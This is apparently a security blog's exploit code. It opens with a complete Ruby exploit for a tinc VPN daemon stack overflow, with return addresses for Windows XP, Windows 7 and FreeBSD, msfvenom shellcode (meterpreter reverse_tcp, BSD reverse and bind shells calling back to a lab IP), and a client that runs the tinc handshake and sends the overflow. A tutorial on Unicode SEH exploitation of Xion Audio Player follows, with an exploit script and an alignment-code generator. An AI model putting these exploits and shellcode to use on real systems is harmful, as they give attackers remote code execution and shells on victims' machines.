#Exploitation part WINDOWS XP and 7 (can be used to see Ubuntu __memcpy_chk)
#
#From original PoC
length = 1682
payload_winxp = "A"*length
#C:\Program Files\tinc>"C:\Program Files\Immunity Inc\Immunity Debugger\ImmunityDebugger.exe" "C:\Program Files\tinc\tincd.exe -D -d 5"
#!mona config -set workingfolder c:\logs\%p
#!mona pc 1682
#from C:\logs\tincd\pattern
cyclic = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce"
payload_winxp = cyclic
#!mona findmsp
#--> EIP overwritten with normal pattern : 0x64433864 (offset 1675)
offset = 1675
payload_winxp = "A"*offset + "BCDE"
#looks like second value on stack is pointing into our payload...
payload_winxp = "ABCD"+"E"*(offset-4)+"BCDE"
#removed \n from "\n"+payload in logic below from the original PoC
#so of course now we have to adjust everything we did until now:
length = 1683
offset = 1676 #original poc-offset is probably 1683 now
#search for pop; ret;
#!mona findwild -type instr -s "pop r32#ret"
#--> found 14739 pointers... so let's be very picky today (because we can):
#!mona findwild -n -cp asciiprint -type instr -s "pop r32#ret"
#--> found 348 pointers. e.g.
#0x662c4d71 : pop ebp # retn 10 | asciiprint,ascii {PAGE_EXECUTE_READ} [hnetcfg.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\hnetcfg.dll)
#0x662d3e7d : pop ebp # retn 10 | asciiprint,ascii {PAGE_EXECUTE_READ} [hnetcfg.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\hnetcfg.dll)
#0x662d6e5e : pop ebp # retn 10 | asciiprint,ascii {PAGE_EXECUTE_READ} [hnetcfg.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\hnetcfg.dll)
#0x662e1522 : pop ebp # retn 10 | asciiprint,ascii {PAGE_EXECUTE_READ} [hnetcfg.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\hnetcfg.dll)
eip = "qM,f" #"\x71\x4d\x2c\x66"
#This was just "nice to look at", but maybe it would be better to find a os-independent pointer, so we could use it for all os
#!mona findwild -o -type instr -s "pop r32#ret"
#--> found 4049 pointers. e.g.
#0x004fbd0e : pop esi # retf | startnull {PAGE_EXECUTE_READ} [tincd.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Program Files\tinc\tincd.exe)
#0x004a0293 : pop ecx # retf 4 | startnull {PAGE_EXECUTE_READ} [tincd.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Program Files\tinc\tincd.exe)
#0x00467de4 : pop ebx # retn 3956 | startnull {PAGE_EXECUTE_READ} [tincd.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Program Files\tinc\tincd.exe)
#0x00480990 : pop ebx # retn 3956 | startnull {PAGE_EXECUTE_READ} [tincd.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Program Files\tinc\tincd.exe)
#0x0051a9c3 : pop esi # retf 0bc3b | startnull {PAGE_EXECUTE_READ} [tincd.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Program Files\tinc\tincd.exe)
#0x0051a9cb : pop esi # retf 0bc3b | startnull {PAGE_EXECUTE_READ} [tincd.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Program Files\tinc\tincd.exe)
#0x0041caa6 : pop eax # retn | startnull {PAGE_EXECUTE_READ} [tincd.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Program Files\tinc\tincd.exe)
#eip = "\x0e\xbd\x4f\x00" #Nope! Access violation when reading [FFFFFFFF]
#eip = "\xe4\x7d\x46\x00" #Nope! Access violation when writing to [00232B7A]
eip = "\xa6\xca\x41\x00" #works fine on XP and on Windows 7
payload_winxp = "\xcc"*offset+eip #cc for int3
#works fine, our breakpoints get hit
calc_for_xp = "\x31\xC9"\
        "\x51"\
        "\x68\x63\x61\x6C\x63"\
        "\x54"\
        "\xB8\xC7\x93\xC2\x77"\
        "\xFF\xD0" #  this one is not really reliable, MOV EAX, msvcrt.system hard coded
shellcode = calc_for_xp
payload_winxp = shellcode+"\x90"*(offset-shellcode.length)+eip


#$ ./msfvenom -p windows/meterpreter/reverse_tcp exitfunc=thread lhost=192.168.56.1 -f c
meterpreter_win7 = ""\
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"\
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"\
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"\
"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"\
"\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"\
"\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"\
"\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"\
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"\
"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"\
"\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68"\
"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01"\
"\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50"\
"\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a"\
"\x05\x68\xc0\xa8\x38\x01\x68\x02\x00\x11\x5c\x89\xe6\x6a\x10"\
"\x56\x57\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e"\
"\x08\x75\xec\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x00\x6a\x04\x56"\
"\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x8b\x36\x6a\x40\x68\x00\x10"\
"\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a"\
"\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x01\xc3\x29\xc6"\
"\x85\xf6\x75\xec\xc3"
shellcode = meterpreter_win7
payload_win7 = shellcode+"\x90"*(offset-shellcode.length)+eip



#
#Exploitation part FREEBSD
#
#Using the windows exploit, we see that again, our eip gets executed (same offset as windows!),
#this means it's vulnerable. Used the version from ports, tinc version 1.0.19 
#(built Apr 11 2013 16:50:07, protocol 17)
#
#Reusing: offset = 1676
#Now we see that a pointer to our payload is again second on the stack. That means we need
#to find an address that points to some pop r32#ret, but this time for the freebsd version.
#It's not as easy as on windows, because we don't have something like mona findwild and gdb is
#not even correctly showing the disassembly at eip. That's why we dumped the .text part of the
#tincd binary in gdb, opened it in a hex editor and simply searched for the following bytes/opcodes
#that represent "pop r32#ret":
#58c3
#5bc3
#59c3
#5ac3
#5dc3
#5ec3
#5cc3
#5fc3
#We actually found a couple of 5dc3. We then calculated the correct address by using the
#start of the .text section plus the offset in the dumped memory. The first couple of 5dc3
#didn't work, but we found one at the following address that works very well:
eip = "\xBB\xBA\x04\x08" #eip for pop %ebp#ret for bsd --> 0x0804BABB
#so here we go:
#./msfvenom -p bsd/x86/shell_bind_tcp -f c
bind_shell_bsd = "\x31\xc0\x50\x68\xff\x02\x11\x5c\x89\xe7\x50\x6a\x01\x6a\x02"\
"\x6a\x10\xb0\x61\xcd\x80\x57\x50\x50\x6a\x68\x58\xcd\x80\x89"\
"\x47\xec\xb0\x6a\xcd\x80\xb0\x1e\xcd\x80\x50\x50\x6a\x5a\x58"\
"\xcd\x80\xff\x4f\xe4\x79\xf6\x50\x68\x2f\x2f\x73\x68\x68\x2f"\
"\x62\x69\x6e\x89\xe3\x50\x54\x53\x50\xb0\x3b\xcd\x80"
#$ ./msfvenom -p bsd/x86/shell_reverse_tcp LHOST=192.168.56.1 -f c
reverse = "\x68\xc0\xa8\x38\x01\x68\xff\x02\x11\x5c\x89\xe7\x31\xc0\x50"\
"\x6a\x01\x6a\x02\x6a\x10\xb0\x61\xcd\x80\x57\x50\x50\x6a\x62"\
"\x58\xcd\x80\x50\x6a\x5a\x58\xcd\x80\xff\x4f\xe8\x79\xf6\x68"\
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x54\x53\x50"\
"\xb0\x3b\xcd\x80"
#$ ./msfvenom -p bsd/x86/exec CMD="/usr/bin/touch /tmp/kkk" -f c
touch = "\x6a\x3b\x58\x99\x52\x68\x2d\x63\x00\x00\x89\xe7\x52\x68\x6e"\
"\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\xe8\x18\x00\x00"\
"\x00\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x74\x6f\x75\x63\x68"\
"\x20\x2f\x74\x6d\x70\x2f\x6b\x6b\x6b\x00\x57\x53\x89\xe1\x52"\
"\x51\x53\x50\xcd\x80"
shellcode = touch
payload_freebsd = shellcode+"\x90"*(offset-shellcode.length)+eip #pwn!




#
#Logic, client implementation and overflow part
#

#NETWORK LAYER order (according to successful exploitation run monitored in wireshark):
#1. SYN, SYN/ACK, ACK - further TCP ACK's are not included
#2. ID, client PSH: "0 testnode2 17.0"
#3. ID, server PSH: "0 testnode2 17.0"
#4. Metakey, client PSH: "1 94 64 0 0 VALUE_1"
#5. Metakey, server PSH: "1 94 64 0 0 VALUE_2"
#6. Receive Challenge from server, server PSH: 515 bytes - 3f8a4c...
#7. Send Challenge to server, client PSH: 520 bytes - cdca80...
#--->9. Challenge Reply from server, server PSH: 43 bytes - d34d78...
#--->8. Challenge Reply to server, client PSH: 48 bytes - c2f415...
#--->11. ACK part1 of server, server PSH: 11 bytes - 93fdcf...
#--->10. ACK of client, client PSH: 16 bytes - 7ffca1...
#12. ACK part2 of server, server PSH: 69 bytes - e6051a...
#13. attack, client PSH: payload - 9d6a94...

#PROGRAM order (according to printing raw data before sending/after receiving - threading could get in the way of print!):
#1. SYN, SYN/ACK, ACK - further TCP ACK's are not included
#2. ID, client PSH: "0 testnode2 17.0"
#3. ID, server PSH: "0 testnode2 17.0"
#4. Metakey, client PSH: "1 94 64 0 0 VALUE_1"
#5. Metakey, server PSH: "1 94 64 0 0 VALUE_2"
#6. Receive Challenge from server, server PSH: 515 bytes - 3f8a4c...
#7. Send Challenge to server, client PSH: 520 bytes - cdca80...
#8. Challenge Reply to server, client PSH: 48 bytes - c2f415...
#9. Challenge Reply from server, server PSH: 43 bytes - d34d78...
#10. ACK of client, client PSH: 16 bytes - 7ffca1...
#11. ACK part1 of server, server PSH: 11 bytes - 93fdcf...
#12. ACK part2 of server, server PSH: 69 bytes - e6051a...
#13. attack, client PSH: payload - 9d6a94...

#Problematic things (aka things I did wrong):
#1. In some versions the server will send back plaintext and encrypted data in the same TCP packet, you should
#   consider that when designing the client state handler...
#2. If you port from python to ruby, don't mix up the string index and .. and ... methods. Otherwise you can run
#   into a situation where you chop off one byte, but only if the network-in buffer already has one, which makes
#   it randomly fail... stupid me

class TincExploitClient < EventMachine::Connection
  def initialize(server_file, client_file, payload)
    #no need to initialize socket, eventmachine is doing it
    super
    @buffer = ""
    @inbuffer = ""
    
    @payload = payload
    
    @encryption_queue = []
    @decryption_queue = ""

    @state = "id"
    @cryptomode_in = false
    
    #TODO: maybe get it out of the library
    @bfblocksize =  64/8 

    @client_private_key_cipher = nil
    @key_len = nil

    @hex_enc_key_S1 = nil
    @bf_enc_cipher = nil
    
    self.initCiphers(server_file, client_file)
    
    @bf_dec_cipher = nil #gets set up when we get the server info
    
  end
  
  def initCiphers(server_file, client_file)
    server_public_key_cipher = OpenSSL::PKey::RSA.new(File.read(server_file))
    
    # parse client private key
    @client_private_key_cipher = OpenSSL::PKey::RSA.new(File.read(client_file))
    
    @key_len = 256
    
    #create random key
    encryptionSuccessful = false
    while not encryptionSuccessful
      begin
        key_S1 = SecureRandom.random_bytes(@key_len)
        #can happen here:
        #`public_encrypt': data too large for modulus (OpenSSL::PKey::RSAError)
        enc_key_S1 = server_public_key_cipher.public_encrypt(key_S1, OpenSSL::PKey::RSA::NO_PADDING)
        encryptionSuccessful = true
      rescue
        #the while loop will take care
      end
    end
    puts "random key: " + key_S1.unpack("H*")[0]
    
    # encrypt rnd_key with rsa key
    puts "length of key_S1: %i" % key_S1.length
    
    @hex_enc_key_S1 = enc_key_S1.unpack("H*")[0]
    puts "hex_enc_key_S1: "+@hex_enc_key_S1
    
    # setup encryption
    bf_enc_key = key_S1[240...256]
    bf_enc_iv = key_S1[232...240]
    
    @bf_enc_cipher = OpenSSL::Cipher::Cipher.new("BF-OFB")
    @bf_enc_cipher.encrypt
    @bf_enc_cipher.key = bf_enc_key
    @bf_enc_cipher.iv = bf_enc_iv
    
    ##Looks like ruby openssl supports other lengths than multiple of 8!
    #test = @bf_enc_cipher.update("A"*10)
    #test << @bf_enc_cipher.final
    #puts "Testing cipher: "+test.unpack("H*")[0]
  end
  
  def post_init
    self.id()
  end

  def receive_data(data)
    @inbuffer += data
    puts "In state %s - inbuffer-len=%d)" % [@state, @inbuffer.length]
    if @state == "id"
      if(self.has_line())
        puts "\n++ Receive ID"
        data = self.get_line()
        puts "received data: [%s]" % (data)
        @state = "metakey"
        self.metakey()
      end           
    end
    if @state == "metakey"
      if self.has_line()
        puts "\n++ Receive METAKEY"
        data = get_line()
        puts "received data: [%s]" % (data)
        data = data.split(" ")
        raise "Error in protocol. The first byte should be an ASCII 1." unless data[0] == "1"
        hexkey_S2 = data[5].rstrip #("\n")
        raise "Error in protocol. hexkey_S2 length should be 512." unless hexkey_S2.length == 512
        @enckey_S2 = [hexkey_S2].pack("H*")
        key_S2 = @client_private_key_cipher.private_decrypt(@enckey_S2, OpenSSL::PKey::RSA::NO_PADDING)
        puts "key: "+key_S2.unpack("H*")[0]

        # setup decryption
        bf_dec_key = key_S2[240..256]
        bf_dec_iv = key_S2[232..240]

        @bf_dec_cipher = OpenSSL::Cipher::Cipher.new "BF-OFB"
        @bf_dec_cipher.encrypt
        @bf_dec_cipher.key = bf_dec_key
        @bf_dec_cipher.iv = bf_dec_iv
        #OFB mode: don't forget, it does matter if you do a 
        #@bf_dec_cipher.reset or not, but DON'T BECAUSE IT BREAKS STUFF 😀
        
        @cryptomode_in = true
        
        @state = "challenge" #next expected state
        self.challenge()
      end
    end

    if @state == "challenge"
      need_len = 515
      if @inbuffer.length >= need_len
        puts "\n++ Receive CHALLENGE"
        data = self.pop_inbuffer_and_decrypt(need_len)
        puts "Got challenge: [%s]" % (data)
        data = data.split(" ", 2)
        
        raise "Error in protocol. The first byte should be an ASCII 2." unless data[0] == "2"
        challenge2 = data[1][0...512]
        challenge2 = [challenge2].pack("H*")
        puts challenge2.length
        raise "Error in protocol. challenge2 length should be 256." unless challenge2.length == 256
        
        @state = "challenge_reply"
        self.challenge_reply(challenge2)
      end
    end

    if @state == "challenge_reply"
      need_len = 43
      if @inbuffer.length >= need_len
        puts "\n++ Receive CHALLENGE REPLY"
        data = self.pop_inbuffer_and_decrypt(need_len)
        puts "Got challenge reply: [%s]" % data.unpack("H*")[0]
        @state = "ack"
        self.ack()
      end
    end

    if @state == "ack"
      need_len = 12
      if @inbuffer.length >= need_len
        data = self.pop_inbuffer_and_decrypt(need_len)
        puts "Got ack: [%s]" % data.unpack("H*")[0]
        self.overflow()
      end
    end
  end

  def handle_write()
    puts @encryption_queue.length
    puts @buffer.length
    
    if @buffer.length > 0
      sent = self.send_data(@buffer)
      @buffer = @buffer[sent..@buffer.length]
      puts "send %d bytes - buffer-len=%d" % [sent, @buffer.length]
    end
    
    # handle encryption queue
    if @encryption_queue.length > 0
      msg = @encryption_queue[0]
      @encryption_queue.delete_at(0)
      puts msg
      @buffer = @bf_enc_cipher.update(msg)
      @buffer << @bf_enc_cipher.final
      #DON'T DO A @bf_enc_cipher.reset
    end
    puts "encryption-queue len: %d messages" % (@encryption_queue.length)

    # send data
    if @buffer.length > 0
      sent = self.send_data(@buffer)
      @buffer = @buffer[sent..@buffer.length]
      puts "send %d bytes (crypto-queue-len=%d msg,buffer-len=%d)" % [sent, @encryption_queue.length, @buffer.length]
    end
  end

  def pop_inbuffer_and_decrypt(size)
    @decryption_queue = pop_inbuffer(size)
    puts @decryption_queue
    # In ruby openssl OFM works not only on full blocks, but also on
    # parts. Therefore no worries like in pycrypto and no 
    # modified decrypt routine, simply use the cipher as is.
    data = @bf_dec_cipher.update(@decryption_queue)
    data << @bf_dec_cipher.final
    #DON'T DO A bf_dec_cipher.reset
    @decryption_queue = ""
    return data
  end
  
  def pop_inbuffer(size)
    data = @inbuffer[0...size]
    if size >= @inbuffer.length
      @inbuffer = ""
    else
      @inbuffer = @inbuffer[size+1..@inbuffer.length]
    end
    return data
  end
  
  def get_line()
    idx = @inbuffer.index("\n")
    data = self.pop_inbuffer(idx)
    return data
  end
  
  def has_line()
    if @inbuffer.match("\n")
      return true
    else
      return false
    end
  end
  
  def id()
    puts "\n++ Send ID"
    msg = "0 testnode2 17.0\n".gsub("testnode2","home")
    puts "id msg len: %d" % (msg.length)
    @buffer += msg
    self.handle_write()
  end
      
  def metakey()
    puts "\n++ Send METAKEY"
    msg = "1 94 64 0 0 %s\n" % (@hex_enc_key_S1)
    puts "metakey msg len: %d" % (msg.length)
    @buffer += msg
    self.handle_write()
  end

  def challenge()
    puts "\n++ Send CHALLENGE"
    challenge = SecureRandom.random_bytes(@key_len)
    msg = "2      %s\n" % (challenge.unpack("H*")[0])
    @encryption_queue.push(msg)
    self.handle_write()
  end

  def challenge_reply(challenge2)
    puts "\n++ Send CHAL_REPLY"
    h = Digest::SHA1.hexdigest(challenge2)
    msg = "3      %s\n" % (h.upcase)
    @encryption_queue.push(msg)
    self.handle_write()
  end

  def ack()
    puts "++ Send ACK"
    @encryption_queue.push("4 %d 123 0    \n" % (TCP_PORT))
    self.handle_write()
  end

  def overflow()
    puts "++ Peng" #piff paff puff here
    buffer = @payload
    msg = "17 %d\n%s" % [buffer.length, buffer]

    plen = @bfblocksize - (msg.length % @bfblocksize)
    msg += "B" * plen
    @encryption_queue.push(msg)
    self.handle_write()
  end
  
  def unbind
    EventMachine::stop_event_loop
  end
end

payload = payload_winxp
if target.downcase() == "win7"
  payload = payload_win7
end
if target.downcase() == "freebsd"
  payload = payload_freebsd
end

EventMachine.run {
  EventMachine.connect(TCP_IP, TCP_PORT, TincExploitClient, server_public_key_file, client_private_key_file, payload)
}

Automated generation of code alignment code for Unicode buffer overflow exploitation

Update: Implemented an advanced version for mona.py.

Puh, I know, long title. So as I was going through my corelan training material again, I was trying to exploit the public Xion exploit that can be found on exploit-db (please read the exploit first). As I can’t cover all the basics in this blog posts, here just a short overview of the exploit:

  • Exploits Xion Audio Player version 1.0.125 when opening an m3u file
  • Extremely straight forward, write 5000 A’s to a file, change extension to .m3u, open with Xion player, boom!
  • It’s an SEH exploit. So we control one of the exception handlers. It’s Unicode, so if you use corelan’s mona, use things like !mona seh -cp unicode. Unicode exploits are a little bit tricky, you often get null bytes, the presentation of FX about Unicode exploiting helped a lot.

Ok, let’s assume you already did the SEH exploiting and got code execution. So if you want to play from this point, here’s the exploit so far (simply hits our garbage). All the steps starting from this script are explained in the video below (although you might need to know how to change the offset to SEH by injecting a cycling patter, because the .m3u path length matters):

import subprocess
overflow_length = 5000
offset = 237 #Attention: changes with path length of the m3u file!
seh_handler = "\x93\x47" #will be transformed to 0047201C and at that address there is a POP; POP; RET;. This means we can jump to seh_nextrecord and execute it. Set breakpoint on this SEH handler!
seh_nextrecord = "\x50\x6d" #Serves as a kind of "NOP" here
garbage = "B"
junk = "A"*offset+seh_nextrecord+seh_handler+garbage*(overflow_length-offset-len(seh_nextrecord)-len(seh_handler))

payload = junk
dbg = "C:\\Program Files\\Immunity Inc\\Immunity Debugger\\ImmunityDebugger.exe"
exploitable_exe = "C:\\Program Files\\r2 Studios\\Xion\\Xion.exe"
exploit_file = "C:\\testig101\\test\\theUnicode\\exploit.m3u"
file(exploit_file,"wb").write(payload)
subprocess.call([dbg,exploitable_exe,exploit_file])

So now we’re at the point where we want to run shellcode. Usual shellcodes can not be used in Unicode environments, therefore we need to use an encoder, for example the Alpha3 encoder. Now the thing with encoders is that they normally use a GetPC routine or a BufferRegister to locate themselves in memory. GetPC is not compatible with Unicode, so we have to use a BufferRegister. A BufferRegister means nothing else than writing the address of the location of the first byte of the shellcode into a register and telling the shellcode which register it is. To achieve this goal, we need to write an alignment code that is Unicode compliant itself.

Now we come to the core part of this post: Writing alignment code. How do we write the correct address into the register? So far this involved some manual work. We have to find Unicode compatible opcodes. We can look at the transformation tables in FX’s presentation, but for a lot of characters this means we inject “\x41” and it will be transformed to “\x41\x00”. So which opcodes of the x86 assembler language have null bytes in it? Even worse, for most of our injections the opcodes must have a null byte every second byte. Or at least we have to get rid of those zero bytes.

I checked on the metasm shell (included in the Metasploit framework under the tools folder) and found out that all ADD operations with 4 byte registers (ah, al, bh, bl, etc.) start with a zero byte:

metasm > add ah,bl
"\x00\xdc"

So because I’m a lazy guy and don’t want to do the manual work, I wrote a program that will write the alignment code for me and hopefully for everybody else in the future.

Here are the steps that have to be done if you want to use my script:

  1. Make sure the first four bytes of the BufferRegister are correct (not part of the script).
  2. Get some reliable values into EAX, ECX, EDX, EBX with as few null bytes in it as possible (not part of the script).
  3. Tell my script the value of the EAX, ECX, EDX, EBX registers when the debugger stops exactly at the position where the alignment code will start. Additionally tell the script the address of the start of the alignment code (the current EIP).
  4. Run the script. It uses a random “heuristic” (well, bruteforcing with random inputs). So far I always got the single best result (with this approach) when I run it at least 1 minute. An alignment code that is a little longer is normally found in a couple of seconds.
  5. Stop the script (Ctrl+C) when you waited long enough and think there will be no shorter result. Copy the best/shortest/last alignment code into the metasm shell to get opcodes in hex.
  6. Remove the null bytes from the alignment code (they get injected in the Unicode transformation).
  7. Inject the alignment code, add your produced Unicode shellcode, pwn!

The idea is to calculate the correct value where our shellcode lies. But if the shellcode is put directly after the alignment code, every additional instruction in the alignment code will increase our “target” address we want to have in our BufferRegister. This means we don’t know the location from the beginning, but have to calculate it. Until now the approach was to chose an address that is enough far away and then jump to that address at the end of the alignment code. This script finds better solutions. The script does nothing else than trying to sum up the different bytes of AH, AL, BH, BL etc. and try to find the correct value, always keeping track on how many instructions are already needed and adjusting the “target” address where the shellcode will live. So far the theory. Some more theory, the math modell behind:

written by floyd - floyd.ch
all rights reserved

http://www.floyd.ch
@floyd_ch

We are talking about a problem in GF(256). In other words the numbers are modulo 256. Or for the 
IT people: A byte that wraps around (0xFFFFFFFE + 0x00000002 = 0x00000001).

Let's first discuss a simple example with 8 inputs (a1..a8). We need the more general case, 
but so far 8 inputs is the maximum that makes sense. Although it doesn't make any
difference. If we solve the general case with (let's say) 16 Inputs we can
simply set the not needed inputs's to zero and they will be ignored in the model.
The script runs in the general case and can operate in all cases!

Inputs (values): a1, a2, ..., a8 mod 256
Inputs (starts): s1, s2 mod 256
Inputs (targets/goal): g1, g2 mod 256
Outputs: x1, x2, ..., x8, y1, y2, ..., y8 where these are natural numbers (including zero)!

Find (there might be no solution):
s1+a1*x1+a2*x2+a3*x3+a4*x4+a5*x5+a6*x6+a7*x7+a8*x8-((s2+2*(x1+x2+x3+x4+x5+x6+x7+x8+y1+y2+y3+y4+y5+y6+y7+y8)+3)/256) = g1 mod 256
s2+a1*y1+a2*y2+a3*y3+a4*y4+a5*y5+a6*y6+a7*y7+a8*y8-2*(x1+x2+x3+x4+x5+x6+x7+x8+y1+y2+y3+y4+y5+y6+y7+y8)-3 = g2 mod 256

Minimise (sum of outputs):
x1+x2+x3+x4+x5+x6+x7+x8+y1+y2+y3+y4+y5+y6+y7+y8

Example
{a1, a2, ... a8} = {9, 212, 0, 0, 32, 28, 50, 188}
{s1, s2} = {233, 212}
{g1, g2} = {253, 75}

Btw the +3 and -3 in the formula is because we have to get rid of the last zero byte, we do that by injecting
\x6d, which results in 00 6d 00 (serves as a "NOP"), meaning we need to add 3 to the address.

[Extra constraints!]
1. As we first set AH (or whatever higher byte is in start_is) to the correct value
AH has changed until we want to set AL. Therefore the instruction
add al, ah will NOT return the correct result, because we assume an old value
for the AH register! That's why we have a originals (a1...a8) and
modify them to a21, a22, a23, .. a28 (only for y1...y8, for the x values we're fine)
2. Additionally, the following instructions are not allowed (because it would be a lot more
complicated to calculate in advance the state of the register we are modifying):
add ah, ah
add al, al
Solved by overwriting if random generator produced something like that.
3. This program only works if you already managed to get the first
four bytes of the alignment address right (this program operates
only on the last four bytes!)

I would say that the script already works pretty well, although it is not yet tested with a lot of different situations. Enough talking, here is the script:

#written by floyd - floyd.ch
#all rights reserved
#
#http://www.floyd.ch
#@floyd_ch

#Inputs - later in mona read it from the breakpoint we're at
start_is = ['ah', 'al'] #Means: Our BufferRegister is chosen as aex
start = 0xE9D4 #Nothing else than the last four bytes of our BufferRegister
goal = 0xFD53 #Address of the first byte of the alignment code, but without
              #the setting up of the EAX,EBX,ECX,EDX registers!
              #In other words: the address where the first byte of the here
              #generated code is
eax=0x02cde9d4
ecx=0x0047201c
edx=0x7C9032BC
ebx=0x02CDE8F8
#End inputs

#Options:
